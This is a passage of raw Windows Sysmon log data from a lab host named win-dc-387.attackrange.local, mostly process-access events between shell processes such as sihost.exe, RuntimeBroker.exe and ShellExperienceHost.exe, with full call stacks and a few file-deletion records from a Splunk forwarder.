l+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fc6e|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3fbe5|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DA324486F241072BAE9F0E57D96BD1C3,SHA256=3FB999A3DF25D2272AF5E34F87B07E9C2535CE27865A5C1D06D1CE4697EE187B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2ca482|C:\Windows\System32\Windows.Storage.dll+13b515|C:\Windows\System32\Windows.Storage.dll+74b46|C:\Windows\System32\Windows.Storage.dll+2a2f27|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3f049|C:\Windows\System32\modernexecserver.dll+3fd2f|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f6a2|C:\Windows\System32\modernexecserver.dll+3fd1e|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fd0b|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3fdee|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\shcore.dll+35576|C:\Windows\System32\shcore.dll+201ef|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000043418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f400|C:\Windows\System32\modernexecserver.dll+47a8c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000043417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+478ab|C:\Windows\System32\modernexecserver.dll+476e0|C:\Windows\System32\modernexecserver.dll+4763b|C:\Windows\System32\modernexecserver.dll+3985d|C:\Windows\System32\Windows.Shell.ServiceHostBuilder.dll+1781|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c 10341000x800000000000000043416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0F-613B-9406-00000000F001}44807004C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\system32\twinui.pcshell.dll+27c24|C:\Windows\system32\twinui.pcshell.dll+17316|C:\Windows\system32\twinui.pcshell.dll+17671|C:\Windows\system32\twinui.pcshell.dll+176a9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0F-613B-9406-00000000F001}44807004C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\system32\twinui.pcshell.dll+27c24|C:\Windows\system32\twinui.pcshell.dll+17316|C:\Windows\system32\twinui.pcshell.dll+17671|C:\Windows\system32\twinui.pcshell.dll+176a9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0E-613B-8A06-00000000F001}32685444C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\shcore.dll+35576|C:\Windows\System32\shcore.dll+201ef|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000043413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0E-613B-8A06-00000000F001}32686056C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\shcore.dll+35576|C:\Windows\System32\shcore.dll+201ef|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000043412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+131ba3|C:\Windows\System32\Windows.Storage.dll+130e1d|C:\Windows\System32\Windows.Storage.dll+130d31|C:\Windows\System32\Windows.Storage.dll+130cca|C:\Windows\System32\Windows.Storage.dll+9ba99|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+139883|C:\Windows\System32\Windows.Storage.dll+9b910|C:\Windows\System32\Windows.Storage.dll+9b867|C:\Windows\System32\Windows.Storage.dll+9ba37|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a 10341000x800000000000000043410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+137543|C:\Windows\System32\Windows.Storage.dll+61dd5|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+61da9|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\Windows.Storage.dll+13225c 23542300x800000000000000043408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.299{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B488DBABAA2301611B8132FC111E53B,SHA256=54ECC583B27BCF57D3EBE6BCD6833711173200DE1D79C2BFD0395EFBEEBDB158,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.283{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2a2fc5|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.283{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2ca482|C:\Windows\System32\Windows.Storage.dll+13b515|C:\Windows\System32\Windows.Storage.dll+74b46|C:\Windows\System32\Windows.Storage.dll+2a2f27|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.283{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2a2fc5|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 